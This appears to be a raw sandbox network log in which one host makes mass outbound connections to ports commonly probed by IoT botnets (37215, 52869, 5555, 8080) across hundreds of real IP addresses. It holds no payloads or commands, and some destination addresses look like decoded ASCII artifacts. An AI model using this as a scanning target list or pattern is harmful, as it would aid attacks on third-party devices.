Feb 12, 2023 21:24:35.592830896 CET	22272	5555	192.168.2.23	164.19.222.5
Feb 12, 2023 21:24:35.592839956 CET	22272	5555	192.168.2.23	194.45.128.140
Feb 12, 2023 21:24:35.592839956 CET	22272	5555	192.168.2.23	2.76.168.97
Feb 12, 2023 21:24:35.592839956 CET	22272	5555	192.168.2.23	62.243.29.221
Feb 12, 2023 21:24:35.592839956 CET	22272	5555	192.168.2.23	93.22.115.237
Feb 12, 2023 21:24:35.600317955 CET	57702	52869	192.168.2.23	49.57.49.46
Feb 12, 2023 21:24:35.600402117 CET	40798	52869	192.168.2.23	57.56.46.49
Feb 12, 2023 21:24:35.632330894 CET	42182	52869	192.168.2.23	49.49.52.46
Feb 12, 2023 21:24:35.632332087 CET	41946	52869	192.168.2.23	49.48.53.46
Feb 12, 2023 21:24:35.664318085 CET	39914	52869	192.168.2.23	50.50.56.46
Feb 12, 2023 21:24:35.687124014 CET	37215	52981	197.246.132.37	192.168.2.23
Feb 12, 2023 21:24:35.687228918 CET	52981	37215	192.168.2.23	197.246.132.37
Feb 12, 2023 21:24:35.691304922 CET	37215	52981	186.65.115.211	192.168.2.23
Feb 12, 2023 21:24:35.694327116 CET	37215	52981	154.149.156.86	192.168.2.23
Feb 12, 2023 21:24:35.696320057 CET	47246	52869	192.168.2.23	49.51.56.46
Feb 12, 2023 21:24:35.696335077 CET	37322	52869	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:35.719840050 CET	5555	22272	64.73.207.26	192.168.2.23
Feb 12, 2023 21:24:35.728297949 CET	46702	52869	192.168.2.23	57.49.46.53
Feb 12, 2023 21:24:35.728321075 CET	50122	52869	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:35.780670881 CET	37215	52981	41.221.58.46	192.168.2.23
Feb 12, 2023 21:24:35.782582998 CET	5555	22272	103.20.189.28	192.168.2.23
Feb 12, 2023 21:24:35.783797979 CET	37215	52981	197.248.80.202	192.168.2.23
Feb 12, 2023 21:24:35.806468964 CET	55172	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:35.808751106 CET	55174	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:35.810772896 CET	54422	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:35.812938929 CET	54424	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:35.814817905 CET	55180	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:35.816195011 CET	55182	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:35.845156908 CET	37215	52981	183.105.255.186	192.168.2.23
Feb 12, 2023 21:24:35.876868963 CET	37215	52981	218.50.249.66	192.168.2.23
Feb 12, 2023 21:24:35.888299942 CET	43862	80	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:36.048386097 CET	59484	8080	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:36.080297947 CET	46054	8080	192.168.2.23	49.57.49.46
Feb 12, 2023 21:24:36.112309933 CET	51256	8080	192.168.2.23	57.56.46.49
Feb 12, 2023 21:24:36.118772030 CET	51138	80	192.168.2.23	52.49.46.51
Feb 12, 2023 21:24:36.122009993 CET	40836	80	192.168.2.23	50.46.50.48
Feb 12, 2023 21:24:36.124672890 CET	46552	80	192.168.2.23	56.56.46.53
Feb 12, 2023 21:24:36.131030083 CET	48294	80	192.168.2.23	56.56.46.49
Feb 12, 2023 21:24:36.144303083 CET	36046	8080	192.168.2.23	49.49.52.46
Feb 12, 2023 21:24:36.145040989 CET	57020	80	192.168.2.23	55.56.46.49
Feb 12, 2023 21:24:36.145910978 CET	49046	80	192.168.2.23	50.46.49.57
Feb 12, 2023 21:24:36.176331043 CET	47824	8080	192.168.2.23	49.48.53.46
Feb 12, 2023 21:24:36.208324909 CET	47614	49152	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:36.208332062 CET	53400	8080	192.168.2.23	50.50.56.46
Feb 12, 2023 21:24:36.208359003 CET	52460	80	192.168.2.23	49.48.53.46
Feb 12, 2023 21:24:36.208384991 CET	53206	80	192.168.2.23	49.49.52.46
Feb 12, 2023 21:24:36.208389997 CET	58856	80	192.168.2.23	50.50.56.46
Feb 12, 2023 21:24:36.208389997 CET	60928	80	192.168.2.23	49.57.49.46
Feb 12, 2023 21:24:36.208399057 CET	49824	80	192.168.2.23	57.56.46.49
Feb 12, 2023 21:24:36.208409071 CET	48692	80	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:36.240278959 CET	45916	8080	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:36.272294998 CET	51428	8080	192.168.2.23	49.51.56.46
Feb 12, 2023 21:24:36.304342985 CET	43862	8080	192.168.2.23	57.49.46.53
Feb 12, 2023 21:24:36.336294889 CET	57268	8080	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:36.438064098 CET	45632	52869	192.168.2.23	50.50.57.46
Feb 12, 2023 21:24:36.441467047 CET	51770	52869	192.168.2.23	49.48.56.46
Feb 12, 2023 21:24:36.443778038 CET	45636	52869	192.168.2.23	50.50.57.46
Feb 12, 2023 21:24:36.446379900 CET	38834	52869	192.168.2.23	49.48.50.46
Feb 12, 2023 21:24:36.449050903 CET	35146	52869	192.168.2.23	51.50.46.53
Feb 12, 2023 21:24:36.452218056 CET	45486	52869	192.168.2.23	51.55.46.49
Feb 12, 2023 21:24:36.454684973 CET	37422	52869	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:36.457803965 CET	38790	52869	192.168.2.23	50.50.51.46
Feb 12, 2023 21:24:36.460596085 CET	59602	52869	192.168.2.23	49.54.57.46
Feb 12, 2023 21:24:36.464102030 CET	36748	52869	192.168.2.23	48.46.54.51
Feb 12, 2023 21:24:36.464462996 CET	36700	80	192.168.2.23	57.49.46.53
Feb 12, 2023 21:24:36.464492083 CET	43290	80	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:36.468332052 CET	51704	80	192.168.2.23	49.51.56.46
Feb 12, 2023 21:24:36.468348980 CET	41674	80	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:36.532301903 CET	37542	8080	192.168.2.23	50.50.57.46
Feb 12, 2023 21:24:36.560653925 CET	37215	52981	41.60.209.207	192.168.2.23
Feb 12, 2023 21:24:36.583884954 CET	52981	37215	192.168.2.23	157.176.166.77
Feb 12, 2023 21:24:36.583897114 CET	52981	37215	192.168.2.23	41.132.112.240
Feb 12, 2023 21:24:36.583899975 CET	52981	37215	192.168.2.23	41.130.98.146
Feb 12, 2023 21:24:36.583906889 CET	52981	37215	192.168.2.23	197.85.55.101
Feb 12, 2023 21:24:36.583915949 CET	52981	37215	192.168.2.23	151.199.125.230
Feb 12, 2023 21:24:36.583924055 CET	52981	37215	192.168.2.23	41.17.224.232
Feb 12, 2023 21:24:36.583924055 CET	52981	37215	192.168.2.23	82.229.18.213
Feb 12, 2023 21:24:36.583924055 CET	52981	37215	192.168.2.23	47.200.32.213
Feb 12, 2023 21:24:36.583935022 CET	52981	37215	192.168.2.23	197.108.240.219
Feb 12, 2023 21:24:36.583937883 CET	52981	37215	192.168.2.23	197.17.123.70
Feb 12, 2023 21:24:36.583957911 CET	52981	37215	192.168.2.23	41.83.241.164
Feb 12, 2023 21:24:36.583957911 CET	52981	37215	192.168.2.23	197.164.151.254
Feb 12, 2023 21:24:36.583966017 CET	52981	37215	192.168.2.23	157.44.240.76
Feb 12, 2023 21:24:36.583966017 CET	52981	37215	192.168.2.23	197.135.251.199
Feb 12, 2023 21:24:36.583978891 CET	52981	37215	192.168.2.23	157.8.127.83
Feb 12, 2023 21:24:36.583986044 CET	52981	37215	192.168.2.23	157.162.97.49
Feb 12, 2023 21:24:36.583986044 CET	52981	37215	192.168.2.23	157.111.18.108
Feb 12, 2023 21:24:36.583992004 CET	52981	37215	192.168.2.23	157.91.131.188
Feb 12, 2023 21:24:36.583996058 CET	52981	37215	192.168.2.23	150.18.26.154
Feb 12, 2023 21:24:36.584006071 CET	52981	37215	192.168.2.23	41.1.106.238
Feb 12, 2023 21:24:36.584009886 CET	52981	37215	192.168.2.23	197.243.220.85
Feb 12, 2023 21:24:36.584009886 CET	52981	37215	192.168.2.23	103.40.115.79
Feb 12, 2023 21:24:36.584029913 CET	52981	37215	192.168.2.23	197.253.131.41
Feb 12, 2023 21:24:36.584032059 CET	52981	37215	192.168.2.23	41.7.79.53
Feb 12, 2023 21:24:36.584094048 CET	52981	37215	192.168.2.23	157.121.234.120
Feb 12, 2023 21:24:36.584095001 CET	52981	37215	192.168.2.23	197.115.201.148
Feb 12, 2023 21:24:36.584105968 CET	52981	37215	192.168.2.23	79.151.63.117
Feb 12, 2023 21:24:36.584109068 CET	52981	37215	192.168.2.23	197.114.164.5
Feb 12, 2023 21:24:36.584110975 CET	52981	37215	192.168.2.23	142.152.26.248
Feb 12, 2023 21:24:36.584109068 CET	52981	37215	192.168.2.23	197.220.164.86
Feb 12, 2023 21:24:36.584127903 CET	52981	37215	192.168.2.23	202.242.69.38
Feb 12, 2023 21:24:36.584135056 CET	52981	37215	192.168.2.23	170.77.47.202
Feb 12, 2023 21:24:36.584135056 CET	52981	37215	192.168.2.23	41.3.204.82
Feb 12, 2023 21:24:36.584147930 CET	52981	37215	192.168.2.23	157.77.215.69
Feb 12, 2023 21:24:36.584218025 CET	52981	37215	192.168.2.23	157.95.227.173
Feb 12, 2023 21:24:36.584220886 CET	52981	37215	192.168.2.23	197.222.195.80
Feb 12, 2023 21:24:36.584220886 CET	52981	37215	192.168.2.23	157.143.198.9
Feb 12, 2023 21:24:36.584223032 CET	52981	37215	192.168.2.23	41.148.68.176
Feb 12, 2023 21:24:36.584223986 CET	52981	37215	192.168.2.23	41.121.251.187
Feb 12, 2023 21:24:36.584223032 CET	52981	37215	192.168.2.23	157.0.168.0
Feb 12, 2023 21:24:36.584223032 CET	52981	37215	192.168.2.23	197.93.116.144
Feb 12, 2023 21:24:36.584225893 CET	52981	37215	192.168.2.23	176.104.190.4
Feb 12, 2023 21:24:36.584223032 CET	52981	37215	192.168.2.23	197.246.200.54
Feb 12, 2023 21:24:36.584225893 CET	52981	37215	192.168.2.23	41.155.179.52
Feb 12, 2023 21:24:36.584243059 CET	52981	37215	192.168.2.23	197.122.255.229
Feb 12, 2023 21:24:36.584248066 CET	52981	37215	192.168.2.23	197.216.19.238
Feb 12, 2023 21:24:36.584249020 CET	52981	37215	192.168.2.23	197.96.162.75
Feb 12, 2023 21:24:36.584248066 CET	52981	37215	192.168.2.23	157.112.191.194
Feb 12, 2023 21:24:36.584249020 CET	52981	37215	192.168.2.23	41.149.182.43
Feb 12, 2023 21:24:36.584248066 CET	52981	37215	192.168.2.23	197.10.75.41
Feb 12, 2023 21:24:36.584254980 CET	52981	37215	192.168.2.23	149.74.127.67
Feb 12, 2023 21:24:36.584255934 CET	52981	37215	192.168.2.23	20.84.218.131
Feb 12, 2023 21:24:36.584255934 CET	52981	37215	192.168.2.23	197.44.57.236
Feb 12, 2023 21:24:36.584260941 CET	52981	37215	192.168.2.23	14.95.28.108
Feb 12, 2023 21:24:36.584255934 CET	52981	37215	192.168.2.23	41.209.228.129
Feb 12, 2023 21:24:36.584256887 CET	52981	37215	192.168.2.23	157.175.220.18
Feb 12, 2023 21:24:36.584271908 CET	52981	37215	192.168.2.23	161.124.44.204
Feb 12, 2023 21:24:36.584294081 CET	52981	37215	192.168.2.23	41.125.232.197
Feb 12, 2023 21:24:36.584327936 CET	52981	37215	192.168.2.23	157.60.0.24
Feb 12, 2023 21:24:36.584333897 CET	52981	37215	192.168.2.23	157.123.159.200
Feb 12, 2023 21:24:36.584336996 CET	52981	37215	192.168.2.23	157.51.102.146
Feb 12, 2023 21:24:36.584338903 CET	52981	37215	192.168.2.23	157.198.56.182
Feb 12, 2023 21:24:36.584340096 CET	52981	37215	192.168.2.23	41.237.144.244
Feb 12, 2023 21:24:36.584356070 CET	52981	37215	192.168.2.23	157.129.46.233
Feb 12, 2023 21:24:36.584364891 CET	52981	37215	192.168.2.23	157.22.1.131
Feb 12, 2023 21:24:36.584378004 CET	52981	37215	192.168.2.23	157.50.61.68
Feb 12, 2023 21:24:36.584391117 CET	52981	37215	192.168.2.23	41.168.142.226
Feb 12, 2023 21:24:36.584391117 CET	52981	37215	192.168.2.23	197.183.41.27
Feb 12, 2023 21:24:36.584393024 CET	52981	37215	192.168.2.23	157.132.195.92
Feb 12, 2023 21:24:36.584393978 CET	52981	37215	192.168.2.23	157.34.1.132
Feb 12, 2023 21:24:36.584413052 CET	52981	37215	192.168.2.23	41.88.213.234
Feb 12, 2023 21:24:36.584413052 CET	52981	37215	192.168.2.23	157.175.184.243
Feb 12, 2023 21:24:36.584422112 CET	52981	37215	192.168.2.23	41.1.25.152
Feb 12, 2023 21:24:36.584424019 CET	52981	37215	192.168.2.23	157.62.6.24
Feb 12, 2023 21:24:36.584424019 CET	52981	37215	192.168.2.23	41.241.194.208
Feb 12, 2023 21:24:36.584424973 CET	52981	37215	192.168.2.23	197.249.225.214
Feb 12, 2023 21:24:36.584424973 CET	52981	37215	192.168.2.23	197.135.124.135
Feb 12, 2023 21:24:36.584424973 CET	52981	37215	192.168.2.23	197.68.175.192
Feb 12, 2023 21:24:36.584424973 CET	52981	37215	192.168.2.23	197.18.113.140
Feb 12, 2023 21:24:36.584424973 CET	52981	37215	192.168.2.23	197.57.192.168
Feb 12, 2023 21:24:36.584441900 CET	52981	37215	192.168.2.23	157.3.61.135
Feb 12, 2023 21:24:36.584489107 CET	52981	37215	192.168.2.23	41.80.42.157
Feb 12, 2023 21:24:36.584494114 CET	52981	37215	192.168.2.23	200.251.163.210
Feb 12, 2023 21:24:36.584505081 CET	52981	37215	192.168.2.23	157.48.123.162
Feb 12, 2023 21:24:36.584507942 CET	52981	37215	192.168.2.23	197.173.147.75
Feb 12, 2023 21:24:36.584546089 CET	52981	37215	192.168.2.23	197.223.87.131
Feb 12, 2023 21:24:36.584546089 CET	52981	37215	192.168.2.23	197.232.24.193
Feb 12, 2023 21:24:36.584547997 CET	52981	37215	192.168.2.23	9.102.189.193
Feb 12, 2023 21:24:36.584549904 CET	52981	37215	192.168.2.23	197.224.129.47
Feb 12, 2023 21:24:36.584549904 CET	52981	37215	192.168.2.23	41.188.118.18
Feb 12, 2023 21:24:36.584551096 CET	52981	37215	192.168.2.23	41.121.73.118
Feb 12, 2023 21:24:36.584553957 CET	52981	37215	192.168.2.23	41.233.136.163
Feb 12, 2023 21:24:36.584558010 CET	52981	37215	192.168.2.23	197.161.183.20
Feb 12, 2023 21:24:36.584589005 CET	52981	37215	192.168.2.23	159.141.15.145
Feb 12, 2023 21:24:36.584589958 CET	52981	37215	192.168.2.23	197.32.107.106
Feb 12, 2023 21:24:36.584590912 CET	52981	37215	192.168.2.23	52.57.95.73
Feb 12, 2023 21:24:36.584594011 CET	52981	37215	192.168.2.23	176.185.82.242
Feb 12, 2023 21:24:36.584603071 CET	52981	37215	192.168.2.23	4.139.66.65
Feb 12, 2023 21:24:36.584605932 CET	52981	37215	192.168.2.23	197.171.156.47
Feb 12, 2023 21:24:36.584620953 CET	52981	37215	192.168.2.23	157.213.117.209
Feb 12, 2023 21:24:36.584628105 CET	52981	37215	192.168.2.23	197.132.248.133
Feb 12, 2023 21:24:36.584628105 CET	52981	37215	192.168.2.23	157.37.247.52
Feb 12, 2023 21:24:36.584628105 CET	52981	37215	192.168.2.23	197.118.133.205
Feb 12, 2023 21:24:36.584646940 CET	52981	37215	192.168.2.23	41.108.44.147
Feb 12, 2023 21:24:36.584647894 CET	52981	37215	192.168.2.23	157.254.74.182
Feb 12, 2023 21:24:36.584647894 CET	52981	37215	192.168.2.23	83.228.231.143
Feb 12, 2023 21:24:36.584647894 CET	52981	37215	192.168.2.23	197.22.54.252
Feb 12, 2023 21:24:36.584666967 CET	52981	37215	192.168.2.23	157.111.156.179
Feb 12, 2023 21:24:36.584669113 CET	52981	37215	192.168.2.23	41.39.217.240
Feb 12, 2023 21:24:36.584692001 CET	52981	37215	192.168.2.23	41.198.190.63
Feb 12, 2023 21:24:36.584692001 CET	52981	37215	192.168.2.23	197.49.39.22
Feb 12, 2023 21:24:36.584693909 CET	52981	37215	192.168.2.23	138.193.0.32
Feb 12, 2023 21:24:36.584702969 CET	52981	37215	192.168.2.23	41.249.22.220
Feb 12, 2023 21:24:36.584702969 CET	52981	37215	192.168.2.23	197.75.74.12
Feb 12, 2023 21:24:36.584721088 CET	52981	37215	192.168.2.23	34.186.225.72
Feb 12, 2023 21:24:36.584738016 CET	52981	37215	192.168.2.23	197.97.196.67
Feb 12, 2023 21:24:36.584738016 CET	52981	37215	192.168.2.23	41.30.94.137
Feb 12, 2023 21:24:36.584738970 CET	52981	37215	192.168.2.23	129.146.26.113
Feb 12, 2023 21:24:36.584755898 CET	52981	37215	192.168.2.23	41.57.0.168
Feb 12, 2023 21:24:36.584760904 CET	52981	37215	192.168.2.23	197.245.126.128
Feb 12, 2023 21:24:36.584764004 CET	52981	37215	192.168.2.23	197.227.13.83
Feb 12, 2023 21:24:36.584774017 CET	52981	37215	192.168.2.23	157.222.122.241
Feb 12, 2023 21:24:36.584794044 CET	52981	37215	192.168.2.23	157.5.197.214
Feb 12, 2023 21:24:36.584798098 CET	52981	37215	192.168.2.23	197.181.167.175
Feb 12, 2023 21:24:36.584798098 CET	52981	37215	192.168.2.23	174.112.255.250
Feb 12, 2023 21:24:36.584805012 CET	52981	37215	192.168.2.23	157.65.193.225
Feb 12, 2023 21:24:36.584805012 CET	52981	37215	192.168.2.23	62.185.129.218
Feb 12, 2023 21:24:36.584813118 CET	52981	37215	192.168.2.23	41.146.196.219
Feb 12, 2023 21:24:36.584813118 CET	52981	37215	192.168.2.23	41.157.237.213
Feb 12, 2023 21:24:36.584832907 CET	52981	37215	192.168.2.23	41.79.43.81
Feb 12, 2023 21:24:36.584834099 CET	52981	37215	192.168.2.23	197.1.109.43
Feb 12, 2023 21:24:36.584837914 CET	52981	37215	192.168.2.23	41.182.122.57
Feb 12, 2023 21:24:36.584851980 CET	52981	37215	192.168.2.23	197.102.68.29
Feb 12, 2023 21:24:36.584856987 CET	52981	37215	192.168.2.23	157.63.35.210
Feb 12, 2023 21:24:36.584867954 CET	52981	37215	192.168.2.23	211.162.109.41
Feb 12, 2023 21:24:36.584870100 CET	52981	37215	192.168.2.23	157.67.225.221
Feb 12, 2023 21:24:36.584872007 CET	52981	37215	192.168.2.23	197.31.89.41
Feb 12, 2023 21:24:36.584892035 CET	52981	37215	192.168.2.23	197.222.222.186
Feb 12, 2023 21:24:36.584892988 CET	52981	37215	192.168.2.23	197.160.72.75
Feb 12, 2023 21:24:36.584902048 CET	52981	37215	192.168.2.23	41.23.148.20
Feb 12, 2023 21:24:36.584904909 CET	52981	37215	192.168.2.23	157.133.95.16
Feb 12, 2023 21:24:36.584908009 CET	52981	37215	192.168.2.23	157.135.226.112
Feb 12, 2023 21:24:36.584912062 CET	52981	37215	192.168.2.23	197.36.10.163
Feb 12, 2023 21:24:36.584923029 CET	52981	37215	192.168.2.23	125.211.172.68
Feb 12, 2023 21:24:36.584925890 CET	52981	37215	192.168.2.23	41.43.146.247
Feb 12, 2023 21:24:36.584934950 CET	52981	37215	192.168.2.23	157.71.59.21
Feb 12, 2023 21:24:36.584950924 CET	52981	37215	192.168.2.23	197.104.24.217
Feb 12, 2023 21:24:36.584960938 CET	52981	37215	192.168.2.23	197.127.170.223
Feb 12, 2023 21:24:36.584960938 CET	52981	37215	192.168.2.23	197.233.69.136
Feb 12, 2023 21:24:36.584976912 CET	52981	37215	192.168.2.23	157.32.4.75
Feb 12, 2023 21:24:36.584983110 CET	52981	37215	192.168.2.23	41.175.227.233
Feb 12, 2023 21:24:36.584986925 CET	52981	37215	192.168.2.23	152.252.161.217
Feb 12, 2023 21:24:36.584986925 CET	52981	37215	192.168.2.23	197.142.51.147
Feb 12, 2023 21:24:36.585004091 CET	52981	37215	192.168.2.23	157.224.132.4
Feb 12, 2023 21:24:36.585004091 CET	52981	37215	192.168.2.23	197.136.160.249
Feb 12, 2023 21:24:36.585007906 CET	52981	37215	192.168.2.23	157.159.134.95
Feb 12, 2023 21:24:36.585021019 CET	52981	37215	192.168.2.23	41.15.27.45
Feb 12, 2023 21:24:36.585021019 CET	52981	37215	192.168.2.23	197.67.255.180
Feb 12, 2023 21:24:36.585031033 CET	52981	37215	192.168.2.23	157.61.136.85
Feb 12, 2023 21:24:36.585033894 CET	52981	37215	192.168.2.23	155.122.235.63
Feb 12, 2023 21:24:36.585055113 CET	52981	37215	192.168.2.23	41.134.247.132
Feb 12, 2023 21:24:36.585058928 CET	52981	37215	192.168.2.23	41.17.85.52
Feb 12, 2023 21:24:36.585064888 CET	52981	37215	192.168.2.23	41.232.134.188
Feb 12, 2023 21:24:36.585064888 CET	52981	37215	192.168.2.23	157.165.9.219
Feb 12, 2023 21:24:36.585064888 CET	52981	37215	192.168.2.23	223.71.177.155
Feb 12, 2023 21:24:36.585087061 CET	52981	37215	192.168.2.23	197.228.82.51
Feb 12, 2023 21:24:36.585092068 CET	52981	37215	192.168.2.23	197.210.0.130
Feb 12, 2023 21:24:36.585094929 CET	52981	37215	192.168.2.23	197.55.252.130
Feb 12, 2023 21:24:36.585103989 CET	52981	37215	192.168.2.23	41.70.111.120
Feb 12, 2023 21:24:36.585103989 CET	52981	37215	192.168.2.23	197.180.127.237
Feb 12, 2023 21:24:36.585104942 CET	52981	37215	192.168.2.23	197.253.178.83
Feb 12, 2023 21:24:36.585123062 CET	52981	37215	192.168.2.23	180.73.233.236
Feb 12, 2023 21:24:36.585129976 CET	52981	37215	192.168.2.23	60.199.183.219
Feb 12, 2023 21:24:36.585129976 CET	52981	37215	192.168.2.23	41.156.97.77
Feb 12, 2023 21:24:36.585145950 CET	52981	37215	192.168.2.23	52.17.97.89
Feb 12, 2023 21:24:36.585150003 CET	52981	37215	192.168.2.23	197.161.215.243
Feb 12, 2023 21:24:36.585150003 CET	52981	37215	192.168.2.23	197.126.181.22
Feb 12, 2023 21:24:36.585155010 CET	52981	37215	192.168.2.23	220.192.225.72
Feb 12, 2023 21:24:36.585171938 CET	52981	37215	192.168.2.23	197.209.120.81
Feb 12, 2023 21:24:36.585186958 CET	52981	37215	192.168.2.23	20.74.91.62
Feb 12, 2023 21:24:36.585212946 CET	52981	37215	192.168.2.23	157.173.86.7
Feb 12, 2023 21:24:36.585213900 CET	52981	37215	192.168.2.23	157.157.176.167
Feb 12, 2023 21:24:36.585222006 CET	52981	37215	192.168.2.23	157.174.196.199
Feb 12, 2023 21:24:36.585222960 CET	52981	37215	192.168.2.23	197.56.185.58
Feb 12, 2023 21:24:36.585233927 CET	52981	37215	192.168.2.23	157.23.251.139
Feb 12, 2023 21:24:36.585236073 CET	52981	37215	192.168.2.23	41.5.15.42
Feb 12, 2023 21:24:36.585238934 CET	52981	37215	192.168.2.23	41.229.201.148
Feb 12, 2023 21:24:36.585243940 CET	52981	37215	192.168.2.23	41.102.9.59
Feb 12, 2023 21:24:36.585258007 CET	52981	37215	192.168.2.23	197.252.21.170
Feb 12, 2023 21:24:36.585261106 CET	52981	37215	192.168.2.23	41.10.109.139
Feb 12, 2023 21:24:36.585282087 CET	52981	37215	192.168.2.23	157.192.255.0
Feb 12, 2023 21:24:36.585283041 CET	52981	37215	192.168.2.23	41.133.227.220
Feb 12, 2023 21:24:36.585287094 CET	52981	37215	192.168.2.23	157.185.64.214
Feb 12, 2023 21:24:36.585287094 CET	52981	37215	192.168.2.23	157.99.10.4
Feb 12, 2023 21:24:36.585305929 CET	52981	37215	192.168.2.23	157.163.68.172
Feb 12, 2023 21:24:36.585308075 CET	52981	37215	192.168.2.23	41.110.231.0
Feb 12, 2023 21:24:36.585309029 CET	52981	37215	192.168.2.23	63.98.76.125
Feb 12, 2023 21:24:36.585313082 CET	52981	37215	192.168.2.23	41.15.238.192
Feb 12, 2023 21:24:36.585338116 CET	52981	37215	192.168.2.23	157.226.48.185
Feb 12, 2023 21:24:36.585338116 CET	52981	37215	192.168.2.23	157.155.250.99
Feb 12, 2023 21:24:36.585357904 CET	52981	37215	192.168.2.23	197.101.119.231
Feb 12, 2023 21:24:36.585365057 CET	52981	37215	192.168.2.23	41.68.155.222
Feb 12, 2023 21:24:36.585370064 CET	52981	37215	192.168.2.23	197.60.99.204
Feb 12, 2023 21:24:36.585374117 CET	52981	37215	192.168.2.23	219.151.250.242
Feb 12, 2023 21:24:36.585374117 CET	52981	37215	192.168.2.23	197.230.120.223
Feb 12, 2023 21:24:36.585400105 CET	52981	37215	192.168.2.23	197.233.43.213
Feb 12, 2023 21:24:36.585400105 CET	52981	37215	192.168.2.23	211.113.48.108
Feb 12, 2023 21:24:36.585403919 CET	52981	37215	192.168.2.23	197.68.56.113
Feb 12, 2023 21:24:36.585405111 CET	52981	37215	192.168.2.23	41.254.213.67
Feb 12, 2023 21:24:36.585405111 CET	52981	37215	192.168.2.23	41.29.131.27
Feb 12, 2023 21:24:36.585408926 CET	52981	37215	192.168.2.23	197.113.221.93
Feb 12, 2023 21:24:36.585447073 CET	52981	37215	192.168.2.23	163.101.119.9
Feb 12, 2023 21:24:36.585448980 CET	52981	37215	192.168.2.23	157.94.124.252
Feb 12, 2023 21:24:36.585453033 CET	52981	37215	192.168.2.23	197.181.224.41
Feb 12, 2023 21:24:36.585453033 CET	52981	37215	192.168.2.23	157.83.248.6
Feb 12, 2023 21:24:36.585453033 CET	52981	37215	192.168.2.23	157.212.192.80
Feb 12, 2023 21:24:36.585465908 CET	52981	37215	192.168.2.23	157.197.6.175
Feb 12, 2023 21:24:36.585477114 CET	52981	37215	192.168.2.23	41.192.86.235
Feb 12, 2023 21:24:36.585489035 CET	52981	37215	192.168.2.23	197.179.62.181
Feb 12, 2023 21:24:36.585489035 CET	52981	37215	192.168.2.23	157.87.45.205
Feb 12, 2023 21:24:36.585520029 CET	52981	37215	192.168.2.23	157.128.32.238
Feb 12, 2023 21:24:36.585524082 CET	52981	37215	192.168.2.23	197.116.148.189
Feb 12, 2023 21:24:36.585545063 CET	52981	37215	192.168.2.23	197.10.158.128
Feb 12, 2023 21:24:36.585545063 CET	52981	37215	192.168.2.23	41.13.10.197
Feb 12, 2023 21:24:36.585551977 CET	52981	37215	192.168.2.23	72.103.118.165
Feb 12, 2023 21:24:36.585581064 CET	52981	37215	192.168.2.23	197.165.153.25
Feb 12, 2023 21:24:36.585597038 CET	52981	37215	192.168.2.23	157.254.107.200
Feb 12, 2023 21:24:36.585597038 CET	52981	37215	192.168.2.23	157.172.228.23
Feb 12, 2023 21:24:36.585601091 CET	52981	37215	192.168.2.23	96.15.243.39
Feb 12, 2023 21:24:36.585601091 CET	52981	37215	192.168.2.23	197.231.22.87
Feb 12, 2023 21:24:36.585621119 CET	52981	37215	192.168.2.23	41.36.71.176
Feb 12, 2023 21:24:36.585642099 CET	52981	37215	192.168.2.23	157.163.176.225
Feb 12, 2023 21:24:36.585645914 CET	52981	37215	192.168.2.23	197.132.210.150
Feb 12, 2023 21:24:36.585645914 CET	52981	37215	192.168.2.23	218.205.118.143
Feb 12, 2023 21:24:36.585665941 CET	52981	37215	192.168.2.23	222.116.1.69
Feb 12, 2023 21:24:36.585670948 CET	52981	37215	192.168.2.23	157.235.232.48
Feb 12, 2023 21:24:36.585675001 CET	52981	37215	192.168.2.23	41.153.182.63
Feb 12, 2023 21:24:36.585690975 CET	52981	37215	192.168.2.23	205.9.4.79
Feb 12, 2023 21:24:36.585690975 CET	52981	37215	192.168.2.23	157.86.138.35
Feb 12, 2023 21:24:36.585710049 CET	52981	37215	192.168.2.23	41.198.196.73
Feb 12, 2023 21:24:36.585712910 CET	52981	37215	192.168.2.23	197.79.227.95
Feb 12, 2023 21:24:36.585740089 CET	52981	37215	192.168.2.23	41.185.99.213
Feb 12, 2023 21:24:36.585764885 CET	52981	37215	192.168.2.23	157.132.161.95
Feb 12, 2023 21:24:36.585777044 CET	52981	37215	192.168.2.23	41.24.130.8
Feb 12, 2023 21:24:36.585777044 CET	52981	37215	192.168.2.23	41.83.23.20
Feb 12, 2023 21:24:36.585788965 CET	52981	37215	192.168.2.23	83.139.164.221
Feb 12, 2023 21:24:36.585788965 CET	52981	37215	192.168.2.23	197.124.132.2
Feb 12, 2023 21:24:36.585819006 CET	52981	37215	192.168.2.23	197.52.29.217
Feb 12, 2023 21:24:36.585832119 CET	52981	37215	192.168.2.23	41.86.153.19
Feb 12, 2023 21:24:36.585835934 CET	52981	37215	192.168.2.23	157.162.208.188
Feb 12, 2023 21:24:36.585839033 CET	52981	37215	192.168.2.23	197.153.216.101
Feb 12, 2023 21:24:36.585860968 CET	52981	37215	192.168.2.23	67.15.65.231
Feb 12, 2023 21:24:36.585891962 CET	52981	37215	192.168.2.23	41.21.225.240
Feb 12, 2023 21:24:36.585891962 CET	52981	37215	192.168.2.23	157.65.237.170
Feb 12, 2023 21:24:36.585891962 CET	52981	37215	192.168.2.23	41.96.92.47
Feb 12, 2023 21:24:36.586055040 CET	52981	37215	192.168.2.23	41.39.18.252
Feb 12, 2023 21:24:36.593780041 CET	22272	5555	192.168.2.23	8.231.22.154
Feb 12, 2023 21:24:36.593781948 CET	22272	5555	192.168.2.23	198.185.71.124
Feb 12, 2023 21:24:36.593815088 CET	22272	5555	192.168.2.23	168.193.232.202
Feb 12, 2023 21:24:36.593825102 CET	22272	5555	192.168.2.23	213.12.179.32
Feb 12, 2023 21:24:36.593867064 CET	22272	5555	192.168.2.23	60.183.43.17
Feb 12, 2023 21:24:36.593871117 CET	22272	5555	192.168.2.23	164.165.246.236
Feb 12, 2023 21:24:36.593875885 CET	22272	5555	192.168.2.23	112.55.221.30
